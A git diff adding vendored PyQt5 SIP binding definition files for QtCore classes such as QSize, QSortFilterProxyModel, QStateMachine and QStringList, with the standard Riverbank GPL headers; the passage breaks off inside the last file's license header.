00000000..c3865ae8 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qsize.sip @@ -0,0 +1,188 @@ +// qsize.sip generated by MetaSIP +// +// This file is part of the QtCore Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QSize +{ +%TypeHeaderCode +#include +%End + +%PickleCode + sipRes = Py_BuildValue((char *)"ii", sipCpp->width(), sipCpp->height()); +%End + +public: + void transpose(); + void scale(const QSize &s, Qt::AspectRatioMode mode); + QSize(); + QSize(int w, int h); + SIP_PYOBJECT __repr__() const /TypeHint="str"/; +%MethodCode + if (sipCpp->isNull()) + { + #if PY_MAJOR_VERSION >= 3 + sipRes = PyUnicode_FromString("PyQt5.QtCore.QSize()"); + #else + sipRes = PyString_FromString("PyQt5.QtCore.QSize()"); + #endif + } + else + { + sipRes = + #if PY_MAJOR_VERSION >= 3 + PyUnicode_FromFormat + #else + PyString_FromFormat + #endif + ("PyQt5.QtCore.QSize(%i, %i)", sipCpp->width(), sipCpp->height()); + } +%End + + bool isNull() const; + bool isEmpty() const; + bool isValid() const; + int __bool__() const; +%MethodCode + sipRes = sipCpp->isValid(); +%End + + int width() const; + int height() const; + void setWidth(int w); + void setHeight(int h); + void scale(int w, int h, Qt::AspectRatioMode mode); + QSize &operator+=(const QSize &s); + QSize &operator-=(const QSize &s); + QSize &operator*=(qreal c); + QSize &operator/=(qreal c); + QSize expandedTo(const QSize &otherSize) const; + QSize boundedTo(const QSize &otherSize) const; + QSize scaled(const QSize &s, Qt::AspectRatioMode mode) const; + QSize scaled(int w, int h, Qt::AspectRatioMode mode) const; + QSize transposed() const; +%If (Qt_5_14_0 -) + QSize grownBy(QMargins m) const; +%End +%If (Qt_5_14_0 -) + QSize shrunkBy(QMargins m) const; +%End +}; + +QDataStream &operator<<(QDataStream &, const QSize & /Constrained/) /ReleaseGIL/; +QDataStream &operator>>(QDataStream &, QSize & /Constrained/) /ReleaseGIL/; +bool operator==(const QSize &s1, const QSize &s2); +bool operator!=(const QSize &s1, const QSize &s2); +const QSize operator+(const QSize &s1, const QSize &s2); +const QSize operator-(const QSize &s1, const QSize &s2); +const QSize operator*(const QSize &s, qreal c); +const QSize operator*(qreal c, const QSize &s); +const QSize operator/(const QSize &s, qreal c); + +class QSizeF +{ +%TypeHeaderCode +#include +%End + +%PickleCode + sipRes = Py_BuildValue((char *)"dd", sipCpp->width(), sipCpp->height()); +%End + +public: + void transpose(); + void scale(const QSizeF &s, Qt::AspectRatioMode mode); + QSizeF(); + QSizeF(const QSize &sz); + QSizeF(qreal w, qreal h); + SIP_PYOBJECT __repr__() const /TypeHint="str"/; +%MethodCode + if (sipCpp->isNull()) + { + #if PY_MAJOR_VERSION >= 3 + sipRes = PyUnicode_FromString("PyQt5.QtCore.QSizeF()"); + #else + sipRes = PyString_FromString("PyQt5.QtCore.QSizeF()"); + #endif + } + else + { + PyObject *w = PyFloat_FromDouble(sipCpp->width()); + PyObject *h = PyFloat_FromDouble(sipCpp->height()); + + if (w && h) + { + #if PY_MAJOR_VERSION >= 3 + sipRes = PyUnicode_FromFormat("PyQt5.QtCore.QSizeF(%R, %R)", w, h); + #else + sipRes = PyString_FromString("PyQt5.QtCore.QSizeF("); + PyString_ConcatAndDel(&sipRes, PyObject_Repr(w)); + PyString_ConcatAndDel(&sipRes, PyString_FromString(", ")); + PyString_ConcatAndDel(&sipRes, PyObject_Repr(h)); + PyString_ConcatAndDel(&sipRes, PyString_FromString(")")); + #endif + } + + Py_XDECREF(w); + Py_XDECREF(h); + } +%End + + bool isNull() const; + bool isEmpty() const; + bool isValid() const; + int __bool__() const; +%MethodCode + sipRes = sipCpp->isValid(); +%End + + qreal width() const; + qreal height() const; + void setWidth(qreal w); + void setHeight(qreal h); + void scale(qreal w, qreal h, Qt::AspectRatioMode mode); + QSizeF &operator+=(const QSizeF &s); + QSizeF &operator-=(const QSizeF &s); + QSizeF &operator*=(qreal c); + QSizeF &operator/=(qreal c); + QSizeF expandedTo(const QSizeF &otherSize) const; + QSizeF boundedTo(const QSizeF &otherSize) const; + QSize toSize() const; + QSizeF scaled(const QSizeF &s, Qt::AspectRatioMode mode) const; + QSizeF scaled(qreal w, qreal h, Qt::AspectRatioMode mode) const; + QSizeF transposed() const; +%If (Qt_5_14_0 -) + QSizeF grownBy(QMarginsF m) const; +%End +%If (Qt_5_14_0 -) + QSizeF shrunkBy(QMarginsF m) const; +%End +}; + +QDataStream &operator<<(QDataStream &, const QSizeF & /Constrained/) /ReleaseGIL/; +QDataStream &operator>>(QDataStream &, QSizeF & /Constrained/) /ReleaseGIL/; +bool operator==(const QSizeF &s1, const QSizeF &s2); +bool operator!=(const QSizeF &s1, const QSizeF &s2); +const QSizeF operator+(const QSizeF &s1, const QSizeF &s2); +const QSizeF operator-(const QSizeF &s1, const QSizeF &s2); +const QSizeF operator*(const QSizeF &s, qreal c); +const QSizeF operator*(qreal c, const QSizeF &s); +const QSizeF operator/(const QSizeF &s, qreal c); diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qsocketnotifier.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qsocketnotifier.sip new file mode 100644 index 00000000..be458940 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qsocketnotifier.sip @@ -0,0 +1,51 @@ +// qsocketnotifier.sip generated by MetaSIP +// +// This file is part of the QtCore Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QSocketNotifier : QObject +{ +%TypeHeaderCode +#include +%End + +public: + enum Type + { + Read, + Write, + Exception, + }; + + QSocketNotifier(qintptr socket, QSocketNotifier::Type, QObject *parent /TransferThis/ = 0); + virtual ~QSocketNotifier(); + qintptr socket() const; + QSocketNotifier::Type type() const; + bool isEnabled() const; + +public slots: + void setEnabled(bool); + +signals: + void activated(int socket); + +protected: + virtual bool event(QEvent *); +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qsortfilterproxymodel.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qsortfilterproxymodel.sip new file mode 100644 index 00000000..97fc93f2 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qsortfilterproxymodel.sip @@ -0,0 +1,140 @@ +// qsortfilterproxymodel.sip generated by MetaSIP +// +// This file is part of the QtCore Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QSortFilterProxyModel : QAbstractProxyModel +{ +%TypeHeaderCode +#include +%End + +public: + explicit QSortFilterProxyModel(QObject *parent /TransferThis/ = 0); + virtual ~QSortFilterProxyModel(); + virtual void setSourceModel(QAbstractItemModel *sourceModel /KeepReference/); + virtual QModelIndex mapToSource(const QModelIndex &proxyIndex) const; + virtual QModelIndex mapFromSource(const QModelIndex &sourceIndex) const; + virtual QItemSelection mapSelectionToSource(const QItemSelection &proxySelection) const; + virtual QItemSelection mapSelectionFromSource(const QItemSelection &sourceSelection) const; + QRegExp filterRegExp() const; +%If (Qt_5_12_0 -) + QRegularExpression filterRegularExpression() const; +%End + int filterKeyColumn() const; + void setFilterKeyColumn(int column); + Qt::CaseSensitivity filterCaseSensitivity() const; + void setFilterCaseSensitivity(Qt::CaseSensitivity cs); + +public slots: + void invalidate(); + void setFilterFixedString(const QString &pattern); + void setFilterRegExp(const QRegExp ®Exp); + void setFilterRegExp(const QString &pattern); +%If (Qt_5_12_0 -) + void setFilterRegularExpression(const QRegularExpression ®ularExpression); +%End +%If (Qt_5_12_0 -) + void setFilterRegularExpression(const QString &pattern); +%End + void setFilterWildcard(const QString &pattern); + +protected: + virtual bool filterAcceptsRow(int source_row, const QModelIndex &source_parent) const; + virtual bool filterAcceptsColumn(int source_column, const QModelIndex &source_parent) const; + virtual bool lessThan(const QModelIndex &left, const QModelIndex &right) const; + +public: + virtual QModelIndex index(int row, int column, const QModelIndex &parent = QModelIndex()) const; + virtual QModelIndex parent(const QModelIndex &child) const; + QObject *parent() const; + virtual int rowCount(const QModelIndex &parent = QModelIndex()) const; + virtual int columnCount(const QModelIndex &parent = QModelIndex()) const; + virtual bool hasChildren(const QModelIndex &parent = QModelIndex()) const; + virtual QVariant data(const QModelIndex &index, int role = Qt::DisplayRole) const; + virtual bool setData(const QModelIndex &index, const QVariant &value, int role = Qt::EditRole); +%If (Qt_5_5_0 -) + virtual QVariant headerData(int section, Qt::Orientation orientation, int role = Qt::DisplayRole) const; +%End +%If (- Qt_5_5_0) + virtual QVariant headerData(int section, Qt::Orientation orientation, int role = Qt::EditRole) const; +%End + virtual bool setHeaderData(int section, Qt::Orientation orientation, const QVariant &value, int role = Qt::EditRole); + virtual QMimeData *mimeData(const QModelIndexList &indexes) const /TransferBack/; + virtual bool dropMimeData(const QMimeData *data, Qt::DropAction action, int row, int column, const QModelIndex &parent); + virtual bool insertRows(int row, int count, const QModelIndex &parent = QModelIndex()); + virtual bool insertColumns(int column, int count, const QModelIndex &parent = QModelIndex()); + virtual bool removeRows(int row, int count, const QModelIndex &parent = QModelIndex()); + virtual bool removeColumns(int column, int count, const QModelIndex &parent = QModelIndex()); + virtual void fetchMore(const QModelIndex &parent); + virtual bool canFetchMore(const QModelIndex &parent) const; + virtual Qt::ItemFlags flags(const QModelIndex &index) const; + virtual QModelIndex buddy(const QModelIndex &index) const; + virtual QSize span(const QModelIndex &index) const; + virtual QModelIndexList match(const QModelIndex &start, int role, const QVariant &value, int hits = 1, Qt::MatchFlags flags = Qt::MatchStartsWith|Qt::MatchWrap) const; + virtual void sort(int column, Qt::SortOrder order = Qt::AscendingOrder); + Qt::CaseSensitivity sortCaseSensitivity() const; + void setSortCaseSensitivity(Qt::CaseSensitivity cs); + bool dynamicSortFilter() const; + void setDynamicSortFilter(bool enable); + int sortRole() const; + void setSortRole(int role); + int sortColumn() const; + Qt::SortOrder sortOrder() const; + int filterRole() const; + void setFilterRole(int role); + virtual QStringList mimeTypes() const; + virtual Qt::DropActions supportedDropActions() const; + bool isSortLocaleAware() const; + void setSortLocaleAware(bool on); + virtual QModelIndex sibling(int row, int column, const QModelIndex &idx) const; +%If (Qt_5_10_0 -) + bool isRecursiveFilteringEnabled() const; +%End +%If (Qt_5_10_0 -) + void setRecursiveFilteringEnabled(bool recursive); +%End + +protected: + void invalidateFilter(); + +signals: +%If (Qt_5_15_0 -) + void dynamicSortFilterChanged(bool dynamicSortFilter); +%End +%If (Qt_5_15_0 -) + void filterCaseSensitivityChanged(Qt::CaseSensitivity filterCaseSensitivity); +%End +%If (Qt_5_15_0 -) + void sortCaseSensitivityChanged(Qt::CaseSensitivity sortCaseSensitivity); +%End +%If (Qt_5_15_0 -) + void sortLocaleAwareChanged(bool sortLocaleAware); +%End +%If (Qt_5_15_0 -) + void sortRoleChanged(int sortRole); +%End +%If (Qt_5_15_0 -) + void filterRoleChanged(int filterRole); +%End +%If (Qt_5_15_0 -) + void recursiveFilteringEnabledChanged(bool recursiveFilteringEnabled); +%End +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qstandardpaths.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qstandardpaths.sip new file mode 100644 index 00000000..e53c60a4 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qstandardpaths.sip @@ -0,0 +1,90 @@ +// qstandardpaths.sip generated by MetaSIP +// +// This file is part of the QtCore Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QStandardPaths +{ +%TypeHeaderCode +#include +%End + +public: + enum StandardLocation + { + DesktopLocation, + DocumentsLocation, + FontsLocation, + ApplicationsLocation, + MusicLocation, + MoviesLocation, + PicturesLocation, + TempLocation, + HomeLocation, + DataLocation, + CacheLocation, + GenericDataLocation, + RuntimeLocation, + ConfigLocation, + DownloadLocation, + GenericCacheLocation, +%If (Qt_5_2_0 -) + GenericConfigLocation, +%End +%If (Qt_5_4_0 -) + AppDataLocation, +%End +%If (Qt_5_4_0 -) + AppLocalDataLocation, +%End +%If (Qt_5_5_0 -) + AppConfigLocation, +%End + }; + + static QString writableLocation(QStandardPaths::StandardLocation type); + static QStringList standardLocations(QStandardPaths::StandardLocation type); + + enum LocateOption + { + LocateFile, + LocateDirectory, + }; + + typedef QFlags LocateOptions; + static QString locate(QStandardPaths::StandardLocation type, const QString &fileName, QFlags options = QStandardPaths::LocateFile); + static QStringList locateAll(QStandardPaths::StandardLocation type, const QString &fileName, QFlags options = QStandardPaths::LocateFile); +%If (PyQt_NotBootstrapped) + static QString displayName(QStandardPaths::StandardLocation type); +%End + static QString findExecutable(const QString &executableName, const QStringList &paths = QStringList()); + static void enableTestMode(bool testMode); +%If (Qt_5_2_0 -) + static void setTestModeEnabled(bool testMode); +%End + +private: + QStandardPaths(); + ~QStandardPaths(); +}; + +%If (Qt_5_8_0 -) +QFlags operator|(QStandardPaths::LocateOption f1, QFlags f2); +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qstate.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qstate.sip new file mode 100644 index 00000000..507c7d40 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qstate.sip @@ -0,0 +1,91 @@ +// qstate.sip generated by MetaSIP +// +// This file is part of the QtCore Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QState : QAbstractState +{ +%TypeHeaderCode +#include +%End + +public: + enum ChildMode + { + ExclusiveStates, + ParallelStates, + }; + + enum RestorePolicy + { + DontRestoreProperties, + RestoreProperties, + }; + + QState(QState *parent /TransferThis/ = 0); + QState(QState::ChildMode childMode, QState *parent /TransferThis/ = 0); + virtual ~QState(); + QAbstractState *errorState() const; + void setErrorState(QAbstractState *state /KeepReference/); + void addTransition(QAbstractTransition *transition /Transfer/); + QSignalTransition *addTransition(SIP_PYOBJECT signal /TypeHint="pyqtBoundSignal"/, QAbstractState *target); +%MethodCode + QObject *sender; + QByteArray signal_signature; + + if ((sipError = pyqt5_get_pyqtsignal_parts(a0, &sender, signal_signature)) == sipErrorNone) + { + sipRes = sipCpp->addTransition(sender, signal_signature.constData(), a1); + } + else + { + sipError = sipBadCallableArg(0, a0); + } +%End + + QAbstractTransition *addTransition(QAbstractState *target /Transfer/); + void removeTransition(QAbstractTransition *transition /TransferBack/); + QList transitions() const; + QAbstractState *initialState() const; + void setInitialState(QAbstractState *state /KeepReference/); + QState::ChildMode childMode() const; + void setChildMode(QState::ChildMode mode); + void assignProperty(QObject *object, const char *name, const QVariant &value); + +signals: + void finished(); + void propertiesAssigned(); + +protected: + virtual void onEntry(QEvent *event); + virtual void onExit(QEvent *event); + virtual bool event(QEvent *e); + +signals: +%If (Qt_5_4_0 -) + void childModeChanged(); +%End +%If (Qt_5_4_0 -) + void initialStateChanged(); +%End +%If (Qt_5_4_0 -) + void errorStateChanged(); +%End +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qstatemachine.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qstatemachine.sip new file mode 100644 index 00000000..99953866 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qstatemachine.sip @@ -0,0 +1,150 @@ +// qstatemachine.sip generated by MetaSIP +// +// This file is part of the QtCore Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QStateMachine : QState +{ +%TypeHeaderCode +#include +%End + +public: + class SignalEvent : QEvent /NoDefaultCtors/ + { +%TypeHeaderCode +#include +%End + + public: + virtual ~SignalEvent(); + QObject *sender() const; + int signalIndex() const; + QList arguments() const; + }; + + class WrappedEvent : QEvent /NoDefaultCtors/ + { +%TypeHeaderCode +#include +%End + + public: + virtual ~WrappedEvent(); + QObject *object() const; + QEvent *event() const; + }; + + enum EventPriority + { + NormalPriority, + HighPriority, + }; + + enum Error + { + NoError, + NoInitialStateError, + NoDefaultStateInHistoryStateError, + NoCommonAncestorForTransitionError, +%If (Qt_5_14_0 -) + StateMachineChildModeSetToParallelError, +%End + }; + + explicit QStateMachine(QObject *parent /TransferThis/ = 0); + QStateMachine(QState::ChildMode childMode, QObject *parent /TransferThis/ = 0); + virtual ~QStateMachine(); + void addState(QAbstractState *state /Transfer/); + void removeState(QAbstractState *state /TransferBack/); + QStateMachine::Error error() const; + QString errorString() const; + void clearError(); + bool isRunning() const; + bool isAnimated() const; + void setAnimated(bool enabled); + void addDefaultAnimation(QAbstractAnimation *animation /GetWrapper/); +%MethodCode + // We want to keep a reference to the animation but this is in addition to the + // existing ones and does not replace them - so we can't use /KeepReference/. + sipCpp->addDefaultAnimation(a0); + + // Use the user object as a list of the references. + PyObject *user = sipGetUserObject((sipSimpleWrapper *)sipSelf); + + if (!user) + { + user = PyList_New(0); + sipSetUserObject((sipSimpleWrapper *)sipSelf, user); + } + + if (user) + PyList_Append(user, a0Wrapper); +%End + + QList defaultAnimations() const; + void removeDefaultAnimation(QAbstractAnimation *animation /GetWrapper/); +%MethodCode + // Discard the extra animation reference that we took in addDefaultAnimation(). + sipCpp->removeDefaultAnimation(a0); + + // Use the user object as a list of the references. + PyObject *user = sipGetUserObject((sipSimpleWrapper *)sipSelf); + + if (user) + { + Py_ssize_t i = 0; + + // Note that we deal with an object appearing in the list more than once. + while (i < PyList_Size(user)) + if (PyList_GetItem(user, i) == a0Wrapper) + PyList_SetSlice(user, i, i + 1, NULL); + else + ++i; + } +%End + + QState::RestorePolicy globalRestorePolicy() const; + void setGlobalRestorePolicy(QState::RestorePolicy restorePolicy); + void postEvent(QEvent *event /Transfer/, QStateMachine::EventPriority priority = QStateMachine::NormalPriority); + int postDelayedEvent(QEvent *event /Transfer/, int delay); + bool cancelDelayedEvent(int id); + QSet configuration() const; + virtual bool eventFilter(QObject *watched, QEvent *event); + +public slots: + void start(); + void stop(); +%If (Qt_5_4_0 -) + void setRunning(bool running); +%End + +signals: + void started(); + void stopped(); +%If (Qt_5_4_0 -) + void runningChanged(bool running); +%End + +protected: + virtual void onEntry(QEvent *event); + virtual void onExit(QEvent *event); + virtual bool event(QEvent *e); +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qstorageinfo.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qstorageinfo.sip new file mode 100644 index 00000000..2fd9918b --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qstorageinfo.sip @@ -0,0 +1,68 @@ +// qstorageinfo.sip generated by MetaSIP +// +// This file is part of the QtCore Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%If (Qt_5_4_0 -) + +class QStorageInfo +{ +%TypeHeaderCode +#include +%End + +public: + QStorageInfo(); + explicit QStorageInfo(const QString &path); + explicit QStorageInfo(const QDir &dir); + QStorageInfo(const QStorageInfo &other); + ~QStorageInfo(); + void swap(QStorageInfo &other /Constrained/); + void setPath(const QString &path); + QString rootPath() const; + QByteArray device() const; + QByteArray fileSystemType() const; + QString name() const; + QString displayName() const; + qint64 bytesTotal() const; + qint64 bytesFree() const; + qint64 bytesAvailable() const; + bool isReadOnly() const; + bool isReady() const; + bool isValid() const; + void refresh(); + static QList mountedVolumes(); + static QStorageInfo root(); + bool isRoot() const; +%If (Qt_5_6_0 -) + int blockSize() const; +%End +%If (Qt_5_9_0 -) + QByteArray subvolume() const; +%End +}; + +%End +%If (Qt_5_4_0 -) +bool operator==(const QStorageInfo &first, const QStorageInfo &second); +%End +%If (Qt_5_4_0 -) +bool operator!=(const QStorageInfo &first, const QStorageInfo &second); +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qstring.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qstring.sip new file mode 100644 index 00000000..55d2493e --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qstring.sip @@ -0,0 +1,70 @@ +// qstring.sip generated by MetaSIP +// +// This file is part of the QtCore Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +// QString mapped type. +%MappedType QString /AllowNone,TypeHint="str",TypeHintValue="''"/ +{ +%TypeHeaderCode +#include +%End + +%ConvertToTypeCode +if (sipIsErr == NULL) +#if PY_MAJOR_VERSION < 3 + return (sipPy == Py_None || PyString_Check(sipPy) || PyUnicode_Check(sipPy)); +#else + return (sipPy == Py_None || PyUnicode_Check(sipPy)); +#endif + +if (sipPy == Py_None) +{ + // None is the only way to create a null (as opposed to empty) QString. + *sipCppPtr = new QString(); + + return sipGetState(sipTransferObj); +} + +*sipCppPtr = new QString(qpycore_PyObject_AsQString(sipPy)); + +return sipGetState(sipTransferObj); +%End + +%ConvertFromTypeCode + return qpycore_PyObject_FromQString(*sipCpp); +%End +}; +// QStringRef mapped type. +%MappedType QStringRef /TypeHint="str",TypeHintValue="''"/ +{ +%TypeHeaderCode +#include +%End + +%ConvertToTypeCode + // Qt only ever returns a QStringRef so this conversion isn't needed. + return 0; +%End + +%ConvertFromTypeCode + return qpycore_PyObject_FromQString(sipCpp->toString()); +%End +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qstringlist.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qstringlist.sip new file mode 100644 index 00000000..007ffb06 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qstringlist.sip @@ -0,0 +1,138 @@ +// This is the SIP interface definition for the QStringList mapped type. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +// Note that when we test the type of an object to see if it can be converted +// to a collection we only check if it is iterable. We do not check the +// types of the contents - we assume we will be able to convert them when +// requested. This allows us to raise exceptions specific to an individual +// object. This approach doesn't work if there are overloads that can only be +// distinguished by the types of the template arguments. Currently there are +// no such cases in PyQt5. Note also that we don't consider strings to be +// iterables. + + +%MappedType QStringList + /TypeHintIn="Iterable[QString]", TypeHintOut="List[QString]", + TypeHintValue="[]"/ +{ +%TypeHeaderCode +#include +%End + +%ConvertFromTypeCode + PyObject *l = PyList_New(sipCpp->size()); + + if (!l) + return 0; + + for (int i = 0; i < sipCpp->size(); ++i) + { + QString *t = new QString(sipCpp->at(i)); + PyObject *tobj = sipConvertFromNewType(t, sipType_QString, + sipTransferObj); + + if (!tobj) + { + delete t; + Py_DECREF(l); + + return 0; + } + + PyList_SetItem(l, i, tobj); + } + + return l; +%End + +%ConvertToTypeCode + PyObject *iter = PyObject_GetIter(sipPy); + + if (!sipIsErr) + { + PyErr_Clear(); + Py_XDECREF(iter); + + return (iter +#if PY_MAJOR_VERSION < 3 + && !PyString_Check(sipPy) +#endif + && !PyUnicode_Check(sipPy)); + } + + if (!iter) + { + *sipIsErr = 1; + + return 0; + } + + QStringList *ql = new QStringList; + + for (Py_ssize_t i = 0; ; ++i) + { + PyErr_Clear(); + PyObject *itm = PyIter_Next(iter); + + if (!itm) + { + if (PyErr_Occurred()) + { + delete ql; + Py_DECREF(iter); + *sipIsErr = 1; + + return 0; + } + + break; + } + + int state; + QString *t = reinterpret_cast( + sipForceConvertToType(itm, sipType_QString, sipTransferObj, + SIP_NOT_NONE, &state, sipIsErr)); + + if (*sipIsErr) + { + PyErr_Format(PyExc_TypeError, + "index %zd has type '%s' but 'str' is expected", i, + sipPyTypeName(Py_TYPE(itm))); + + Py_DECREF(itm); + delete ql; + Py_DECREF(iter); + + return 0; + } + + ql->append(*t); + + sipReleaseType(t, sipType_QString, state); + Py_DECREF(itm); + } + + Py_DECREF(iter); + + *sipCppPtr = ql; + + return sipGetState(sipTransferObj); +%End +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qstringlistmodel.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qstringlistmodel.sip new file mode 100644 index 00000000..3402c198 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qstringlistmodel.sip @@ -0,0 +1,52 @@ +// qstringlistmodel.sip generated by MetaSIP +// +// This file is part of the QtCore Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND 